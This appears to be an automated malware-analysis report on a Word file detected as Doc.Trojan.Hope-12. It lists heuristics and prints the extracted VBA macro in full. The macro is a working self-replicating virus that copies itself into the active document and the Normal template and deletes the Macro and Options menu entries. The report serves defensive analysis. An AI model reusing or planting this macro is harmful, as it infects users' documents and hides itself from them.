MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV with the signature Doc.Trojan.Hope-12. Static analysis revealed the presence of VBA macros. The Document_Close subroutine within the macros attempts to overwrite the active document with its own code and save the document, which is a common technique for malware to embed itself or prepare for payload execution. No specific family could be confidently identified.
Heuristics 2
-
ClamAV: Doc.Trojan.Hope-12 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hope-12
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 890 bytes |
SHA-256: ef502c4d5a182139f43b8a8edfe81f26114c4015728313fc778c1c21b57e185d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close(): On Error Resume Next
Set prevDocument = NormalTemplate
Set nextDocument = newDocument
CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete
Set CM = MacroContainer.VBProject.VBComponents.Item(1).CodeModule
Set ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
MC = CM.Lines(1, CM.CountOfLines)
ad.DeleteLines 1, ad.CountOfLines: ad.AddFromString MC
nt.DeleteLines 1, nt.CountOfLines: nt.AddFromString MC
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.